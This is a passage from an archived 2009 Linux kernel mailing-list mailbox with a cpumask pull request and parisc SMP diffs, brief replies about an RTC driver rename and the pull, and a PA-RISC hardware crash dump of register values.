	id S1756451AbZCPEQe (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 16 Mar 2009 00:16:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753100AbZCPEOq
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 16 Mar 2009 00:14:46 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:57333 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752610AbZCPEOn (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 16 Mar 2009 00:14:43 -0400
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 9022DDDFA1;
	Mon, 16 Mar 2009 15:14:40 +1100 (EST)
Original-CC: linux-kernel@vger.kernel.org
Original-CC: mingo@redhat.com
Original-CC: travis@sgi.com
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:807591 gmane.linux.ports.parisc:1394
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1394>

The following changes since commit 5bee17f18b595937e6beafeee5197868a3f74a06:
  Kyle McMartin (1):
        parisc: sba_iommu: fix build bug when CONFIG_PARISC_AGP=y

are available in the git repository at:

  ssh://master.kernel.org/home/ftp/pub/scm/linux/kernel/git/rusty/linux-2.6-cpumask-for-parisc.git master

Rusty Russell (3):
      cpumask: arch_send_call_function_ipi_mask: parisc
      cpumask: prepare for iterators to only go to nr_cpu_ids/nr_cpumask_bits.: parisc
      cpumask: Use accessors code.: parisc

 arch/parisc/include/asm/smp.h  |    3 ++-
 arch/parisc/kernel/irq.c       |    4 ++--
 arch/parisc/kernel/processor.c |    6 +++---
 arch/parisc/kernel/smp.c       |   18 +++++++++---------
 4 files changed, 16 insertions(+), 15 deletions(-)

commit 9bc181d8d7cb6462de0c315e364780ad275f7c57
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Mon Mar 16 14:19:38 2009 +1030

    cpumask: Use accessors code.: parisc
    
    Impact: use new API
    
    Use the accessors rather than frobbing bits directly.  Most of this is
    in arch code I haven't even compiled, but it is mostly straightforward.
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
    Signed-off-by: Mike Travis <travis@sgi.com>

diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 44a1a50..bdbabfb 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -214,7 +214,7 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 	 */
 #ifdef CONFIG_SMP
 	if (cpuid) {
-		cpu_set(cpuid, cpu_present_map);
+		set_cpu_present(cpuid, true);
 		cpu_up(cpuid);
 	}
 #endif
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index ba9b680..8691979 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -113,7 +113,7 @@ halt_processor(void)
 {
 	/* REVISIT : redirect I/O Interrupts to another CPU? */
 	/* REVISIT : does PM *know* this CPU isn't available? */
-	cpu_clear(smp_processor_id(), cpu_online_map);
+	set_cpu_online(smp_processor_id(), false);
 	local_irq_disable();
 	for (;;)
 		;
@@ -296,13 +296,14 @@ smp_cpu_init(int cpunum)
 	mb();
 
 	/* Well, support 2.4 linux scheme as well. */
-	if (cpu_test_and_set(cpunum, cpu_online_map))
+	if (cpu_isset(cpunum, cpu_online_map))
 	{
 		extern void machine_halt(void); /* arch/parisc.../process.c */
 
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
 		machine_halt();
 	}  
+	set_cpu_online(cpunum, true);
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
@@ -424,8 +425,8 @@ void __init smp_prepare_boot_cpu(void)
 	/* Setup BSP mappings */
 	printk(KERN_INFO "SMP: bootstrap CPU ID is %d\n", bootstrap_processor);
 
-	cpu_set(bootstrap_processor, cpu_online_map);
-	cpu_set(bootstrap_processor, cpu_present_map);
+	set_cpu_online(bootstrap_processor, true);
+	set_cpu_present(bootstrap_processor, true);
 }
 
 
@@ -436,8 +437,7 @@ void __init smp_prepare_boot_cpu(void)
 */
 void __init smp_prepare_cpus(unsigned int max_cpus)
 {
-	cpus_clear(cpu_present_map);
-	cpu_set(0, cpu_present_map);
+	init_cpu_present(cpumask_of(0));
 
 	parisc_max_cpus = max_cpus;
 	if (!max_cpus)

commit bd071e1a371d31db243edc4714ff9e8d1ea1309e
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Mon Mar 16 14:19:37 2009 +1030

    cpumask: prepare for iterators to only go to nr_cpu_ids/nr_cpumask_bits.: parisc
    
    Impact: cleanup, futureproof
    
    In fact, all cpumask ops will only be valid (in general) for bit
    numbers < nr_cpu_ids.  So use that instead of NR_CPUS in various
    places.
    
    This is always safe: no cpu number can be >= nr_cpu_ids, and
    nr_cpu_ids is initialized to NR_CPUS at boot.
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
    Signed-off-by: Mike Travis <travis@sgi.com>
    Acked-by: Ingo Molnar <mingo@elte.hu>

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 29e70e1..103752a 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -311,12 +311,12 @@ unsigned long txn_alloc_addr(unsigned int virt_irq)
 	next_cpu++; /* assign to "next" CPU we want this bugger on */
 
 	/* validate entry */
-	while ((next_cpu < NR_CPUS) &&
+	while ((next_cpu < nr_cpu_ids) &&
 		(!per_cpu(cpu_data, next_cpu).txn_addr ||
 		 !cpu_online(next_cpu)))
 		next_cpu++;
 
-	if (next_cpu >= NR_CPUS) 
+	if (next_cpu >= nr_cpu_ids) 
 		next_cpu = 0;	/* nothing else, assign monarch */
 
 	return txn_affinity_addr(virt_irq, next_cpu);
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index ecb6093..44a1a50 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -100,8 +100,8 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 	struct cpuinfo_parisc *p;
 
 #ifdef CONFIG_SMP
-	if (num_online_cpus() >= NR_CPUS) {
-		printk(KERN_INFO "num_online_cpus() >= NR_CPUS\n");
+	if (num_online_cpus() >= nr_cpu_ids) {
+		printk(KERN_INFO "num_online_cpus() >= nr_cpu_ids\n");
 		return 1;
 	}
 #else

commit 91887a362984324e254473e92820758c8e658f78
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Mon Mar 16 14:19:37 2009 +1030

    cpumask: arch_send_call_function_ipi_mask: parisc
    
    We're weaning the core code off handing cpumask's around on-stack.
    This introduces arch_send_call_function_ipi_mask(), and by defining
    it, the old arch_send_call_function_ipi is defined by the core code.
    
    We also take the chance to change send_IPI_mask() and use the new
    for_each_cpu() iterator.
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>

diff --git a/arch/parisc/include/asm/smp.h b/arch/parisc/include/asm/smp.h
index 6ef4b78..21eb45a 100644
--- a/arch/parisc/include/asm/smp.h
+++ b/arch/parisc/include/asm/smp.h
@@ -29,7 +29,8 @@ extern void smp_send_reschedule(int cpu);
 extern void smp_send_all_nop(void);
 
 extern void arch_send_call_function_single_ipi(int cpu);
-extern void arch_send_call_function_ipi(cpumask_t mask);
+extern void arch_send_call_function_ipi_mask(const struct cpumask *mask);
+#define arch_send_call_function_ipi_mask arch_send_call_function_ipi_mask
 
 #endif /* !ASSEMBLY */
 
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 9995d7e..ba9b680 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -214,11 +214,11 @@ ipi_send(int cpu, enum ipi_message_type op)
 }
 
 static void
-send_IPI_mask(cpumask_t mask, enum ipi_message_type op)
+send_IPI_mask(const struct cpumask *mask, enum ipi_message_type op)
 {
 	int cpu;
 
-	for_each_cpu_mask(cpu, mask)
+	for_each_cpu(cpu, mask)
 		ipi_send(cpu, op);
 }
 
@@ -257,7 +257,7 @@ smp_send_all_nop(void)
 	send_IPI_allbutself(IPI_NOP);
 }
 
-void arch_send_call_function_ipi(cpumask_t mask)
+void arch_send_call_function_ipi_mask(const struct cpumask *mask)
 {
 	send_IPI_mask(mask, IPI_CALL_FUNC);
 }


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 4/7] parisc: rtc: Rename rtc-parisc to rtc-generic
Date: Mon, 16 Mar 2009 14:09:16 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20090316130916.GA3324@lst.de>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237209014 25094 80.91.229.12 (16 Mar 2009 13:10:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Mar 2009 13:10:14 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-m68k@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 16 14:11:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LjCbH-0005sI-TQ
	for glpp-linux-parisc@gmane.org; Mon, 16 Mar 2009 14:11:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751340AbZCPNKE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Mar 2009 09:10:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751800AbZCPNKD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Mar 2009 09:10:03 -0400
Original-Received: from verein.lst.de ([213.95.11.210]:51380 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751340AbZCPNKB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Mar 2009 09:10:01 -0400
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id n2GD9LIF003492
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Mon, 16 Mar 2009 14:09:21 +0100
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id n2GD9GSH003487;
	Mon, 16 Mar 2009 14:09:16 +0100
Content-Disposition: inline
In-Reply-To: <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
User-Agent: Mutt/1.3.28i
X-Spam-Score: -0.001 () BAYES_44
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1396 gmane.linux.ports.m68k:553 gmane.linux.kernel:807802 gmane.linux.ports.ppc64.devel:53559
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1396>

On Mon, Mar 09, 2009 at 02:26:20PM +0100, Geert Uytterhoeven wrote:
> The rtc-parisc driver is not PA-RISC specific at all, as it uses the existing
> (but deprecated) generic RTC infrastructure ([gs]et_rtc_time()).
> Rename the driver from rtc-parisc to rtc-generic.

Maybe it should be called rtc-legacy instead?

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PULL] cpumask updates for parisc
Date: Mon, 16 Mar 2009 13:20:41 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20090316172041.GC4282@bombadil.infradead.org>
References: <200903161444.36219.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237224100 19469 80.91.229.12 (16 Mar 2009 17:21:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Mar 2009 17:21:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	mingo@redhat.com, travis@sgi.com
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1757209AbZCPRVA@vger.kernel.org Mon Mar 16 18:22:55 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1757209AbZCPRVA@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LjGWX-00067i-TU
	for glk-linux-kernel-3@gmane.org; Mon, 16 Mar 2009 18:22:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757209AbZCPRVA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 16 Mar 2009 13:21:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755056AbZCPRUu
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 16 Mar 2009 13:20:50 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47945 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755351AbZCPRUt (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 16 Mar 2009 13:20:49 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LjGUT-0003YW-GB; Mon, 16 Mar 2009 17:20:41 +0000
Content-Disposition: inline
In-Reply-To: <200903161444.36219.rusty@rustcorp.com.au>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:807921 gmane.linux.ports.parisc:1397
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1397>

On Mon, Mar 16, 2009 at 02:44:35PM +1030, Rusty Russell wrote:
> The following changes since commit 5bee17f18b595937e6beafeee5197868a3f74a06:
>   Kyle McMartin (1):
>         parisc: sba_iommu: fix build bug when CONFIG_PARISC_AGP=y
> 
> are available in the git repository at:
> 
>   ssh://master.kernel.org/home/ftp/pub/scm/linux/kernel/git/rusty/linux-2.6-cpumask-for-parisc.git master
> 
> Rusty Russell (3):
>       cpumask: arch_send_call_function_ipi_mask: parisc
>       cpumask: prepare for iterators to only go to nr_cpu_ids/nr_cpumask_bits.: parisc
>       cpumask: Use accessors code.: parisc
> 
>  arch/parisc/include/asm/smp.h  |    3 ++-
>  arch/parisc/kernel/irq.c       |    4 ++--
>  arch/parisc/kernel/processor.c |    6 +++---
>  arch/parisc/kernel/smp.c       |   18 +++++++++---------
>  4 files changed, 16 insertions(+), 15 deletions(-)
> 

I've pulled these into a test branch, and will let you know if my
autobuilder shakes out any issues with them.

cheers, Kyle

From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: hpmc on rp3440 with 2.6.29-rc5
Date: Mon, 16 Mar 2009 20:48:01 -0400 (EDT)
Lines: 368
Approved: news@gmane.org
Message-ID: <20090317004802.22B564E9D@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237250904 16141 80.91.229.12 (17 Mar 2009 00:48:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Mar 2009 00:48:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 17 01:49:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LjNUr-0005I2-KY
	for glpp-linux-parisc@gmane.org; Tue, 17 Mar 2009 01:49:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751339AbZCQAsI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Mar 2009 20:48:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751405AbZCQAsI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Mar 2009 20:48:08 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1958 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751339AbZCQAsG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Mar 2009 20:48:06 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 22B564E9D; Mon, 16 Mar 2009 20:48:01 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1398
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1398>

Below is some info that I collected from a HPMC that occurred running the GCC
testsuite.  I believe this kernel was built with the master branch from
Kyle's parisc-2.6.git tree.

In the info below, I only included relevant data.  No hpmc data was
recorded for processors 2 and 3.  Unfortunately, I lost the console output
for the crash if any.

This is with a SMP 64-bit kernel.  I still have it and the config file.

I'm not the greatest at interpreting chassis codes.  It's not at all clear
to me what went wrong.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

-----------------  Processor 0 HPMC Information - PDC Version: 45.11  ------ 

Timestamp =   Sun Mar  8 06:02:27 GMT 2009    (20:09:03:08:06:02:27)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x00000000402492cb
       0x57000f7300e00000 0x8400000000800000
       0xf600105e00e00000 0xfffffff0f0c00000
       0x140003b200e00000 0x000000000000000b
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f0435110


General Registers 0 - 31
00-03  0000000000000000  ac63183b0015d351  0000000040249367  0000000000000001
04-07  00000000402606e0  0000000040000fec  0000000000000003  0000000000000000
08-11  00000008ac63183b  0000000040260ee0  000000004025e378  000000000000001b
12-15  00000000056318c1  00000000402606e0  0000000040260ee0  00000000405cdd78
16-19  00000000405cea24  00000000fb3cc108  00000000fb3cc008  00000000402606e0
20-23  00000000405d3d14  0000000000000000  00000000405dc624  00000000405d3d14
24-27  00000000fb3cc008  00000000405dc572  00000000405dc572  0000000000040148
28-31  00000000405d3d14  00000000fb3cc108  00000000fb3cc1c0  000000004024930b

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000027468  0000000000000000  00000000000000c0  000000000000000c
12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
16-19  0001fce881fd5ff0  0000000009d1a000  00000000402492cb  000000000e98101c
20-23  0000000000000000  0000000000000000  000000ff0006ff0f  0000000000000000
24-27  0000000000524000  00000001fa61e000  ffffffffffffffff  00000000400017e0
28-31  0000000040001460  ffffffffffffffff  00000002bf838000  0000000040554000

Space Registers 0 - 7
00-03  0000000009d1a000  0000000009d1a000  0000000000000000  0000000009d1a000
04-07  0000000009d1a000  0000000009d1a000  0000000009d1a000  0000000009d1a000


IIA Space (back entry)       = 0x0000000009d1a000
IIA Offset (back entry)      = 0x00000000402492cf
Check Type                   = 0x00000000
Cpu State                    = 0x9e000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x09d1a000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  ffffffffffffff9c  bff0000000000000
08-11  0000000000000000  00000000405ca240  0000000000000802  000000004060a000
12-15  00000001401cbe4c  00000000405ca240  0000000000000000  00000000000000d0
16-19  000000007f45afb0  000000007f410ac0  000000007f54c000  000000007f54c000
20-23  00000000405ca240  00000000404bd1e0  000088e800004474  0000cd5c00000000
24-27  0000000000000000  00000000405ca240  00000000405ca240  0000000000000000
28-31  0000000000000803  0000000000000000  00000000405ca240  0000000000000803

PIM Revision                 = 0x0000000000000001                
CPU ID                       = 0x0000000000000014
CPU Revision                 = 0x0000000000000031
Cpu Serial Number            = 0x46100b89e43f0503
Check Summary                = 0x8400000000800000
SAL Timestamp                = 0x0000000049b35f73
System Firmware Rev.         = 0x00000b4b0000119f
PDC Relocation Address       = 0xfffffff0f0c00000
Available Memory             = 0x000000027fe00000
CPU Diagnose Register 2      = 0x3112022000002008
MIB_STAT                     = 0x0000000000000000
MIB_LOG1                     = 0x0000000000555500
MIB_LOG2                     = 0x0000800000000000
MIB_ECC_DATA                 = 0x73c33e4173c43e11
ICache Info                  = 0x0000000000000000
DCache Info                  = 0x0000000000000000
Sharedcache Info1            = 0x0800000000440000
Sharedcache Info2            = 0x00000000000000c0
MIB_RSLOG1                   = 0x0020000000000104
MIB_RSLOG2                   = 0x0010000000000000
MIB_RQLOG                    = 0x0045200000082600
MIB_REQLOGa                  = 0x800452000000bf00
MIB_REQLOGb                  = 0xc10008a400000100
Reserved                     = 0x0000000000000000
Cache Repair Detail          = 0x0000000000000000

PIM Detail Text:

-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  fffffff0f0d048b8  0000000000000000
04-07  fffffff0f0d046e0  fffffff0f0402bb0  fffffff0f0402468  0000000000000004
08-11  0000000000000001  8060000800000000  fffffff0f040bce0  8060000800000000
12-15  0000000000000000  0000000000005702  fffffff0f0402ec0  00000000400df050
16-19  0000000000000001  00000000fb6f0f88  00000000fb6f1088  200012ba00e00000
20-23  0000000000000000  00000000000000ff  fffffff0f0402eb0  0000000000000000
24-27  0000000000000005  0000000000000000  0000000000000002  fffffff0f0400000
28-31  fffffffffe780000  fffffff0f0402ca0  fffffff0f0402cb0  fffffff0f05f0070


Control Registers 0 - 31
00-03  000000007fffffff  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000008e98  0000000000000000  00000000000000c0  0000000000000007
12-15  0000000000000000  0000000000000000  0000000000102000  0000000000000000
16-19  0001e8d63471cd50  000000003ffffff0  fffffff0f0d048dc  00000000e81f1fef
20-23  000000009a27fff9  c0000000e0380030  000000ff0829fe08  8000000000000000
24-27  0000000000542000  00000001b17b6000  ffffffffffffffff  00000000400017e0
28-31  0000000000000003  ffffffffffffffff  00000001f1550000  38570ffc0bb20452

Space Registers 0 - 7
00-03  00000000023a6000  00000000023a6000  0000000000000000  00000000023a6000
04-07  00000000023a6000  00000000023a6000  00000000023a6000  00000000023a6000

IIA Space (back entry)       = 0x000000003ffffff0
IIA Offset (back entry)      = 0xfffffff0f0d048d8
CPU State                    = 0x9e000000

-----------------  Processor 1 HPMC Information - PDC Version: 45.11  ------ 

Timestamp =   Sun Mar  8 06:02:27 GMT 2009    (20:09:03:08:06:02:27)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x0000000040125330
       0x57000f7300e00000 0x8400000000800000
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f0436fc0

General Registers 0 - 31
00-03  0000000000000000  000000007f508200  0000000040125340  0000000000000001
04-07  00000000405ca240  fffffff0f0404f00  00000000fffffff0  0000000000000001
08-11  000000f0f0d08440  0100000000000000  000000000804000e  00000000405e81f4
12-15  0000000000000000  0000000000000016  0000000000000000  00000000000168b8
16-19  fffffff0f0d00b0c  0000000000016bec  00000000000168cc  00000000ffffffff
20-23  00000002bf8297f8  000000000800000e  000000023a74c198  0000000040d142d0
24-27  0000000000000001  00000002bf8297e8  000000004277d240  00000000405ca240
28-31  000000007f508000  000000007f5081d0  000000007f508200  0000000000000008

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000027464  0000000000000000  00000000000000c0  000000000000001b
12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
16-19  0001fce881fe07b0  0000000000000000  0000000040125330  00000000c7bfdfe5
20-23  0000000010240009  00000000df77d240  000000ff0806ff0f  0000000000000000
24-27  0000000000524000  000000021057e000  ffffffffffffffff  0000000040001460
28-31  0000000040001b00  ffffffffffffffff  000000007f508000  ffffffffffffffff

Space Registers 0 - 7
00-03  0000000009d19000  0000000009d19000  0000000000000000  0000000009d19000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000040125334
Check Type                   = 0x00000000
Cpu State                    = 0x9e000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x09d19000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  ffffffffffffff9c  bff0000000000000
08-11  0000000000000000  00000000405ca240  0000000000000802  000000004060a000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000555  000007c200000000
24-27  0000000000000000  00000000405ca240  00000000405ca240  0000000000000000
28-31  0000000000000803  0000000000000000  00000000405ca240  0000000000000803

PIM Revision                 = 0x0000000000000001                
CPU ID                       = 0x0000000000000014
CPU Revision                 = 0x0000000000000031
Cpu Serial Number            = 0x46100b89e43f0503
Check Summary                = 0x8400000000800000
SAL Timestamp                = 0x0000000049b35f73
System Firmware Rev.         = 0x00000b4b0000119f
PDC Relocation Address       = 0xfffffff0f0c00000
Available Memory             = 0x000000027fe00000
CPU Diagnose Register 2      = 0x3152020008082008
MIB_STAT                     = 0x0000000000000000
MIB_LOG1                     = 0x0000000000000000
MIB_LOG2                     = 0x0000000000000000
MIB_ECC_DATA                 = 0x0000000000000000
ICache Info                  = 0x0000000000000000
DCache Info                  = 0x0000000000000000
Sharedcache Info1            = 0x0000000000000000
Sharedcache Info2            = 0x0000000000000000
MIB_RSLOG1                   = 0x0000000000000000
MIB_RSLOG2                   = 0x0000000000000000
MIB_RQLOG                    = 0x0000000000000000
MIB_REQLOGa                  = 0x0000000000000000
MIB_REQLOGb                  = 0x0000000000000000
Reserved                     = 0x0000000000000000
Cache Repair Detail          = 0x0000000000000000

PIM Detail Text:

-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  000000007f508200  0000000040125340  0000000000000001
04-07  00000000405ca240  fffffff0f0404f00  00000000fffffff0  0000000000000001
08-11  000000f0f0d08440  0100000000000000  000000000804000e  00000000405e81f4
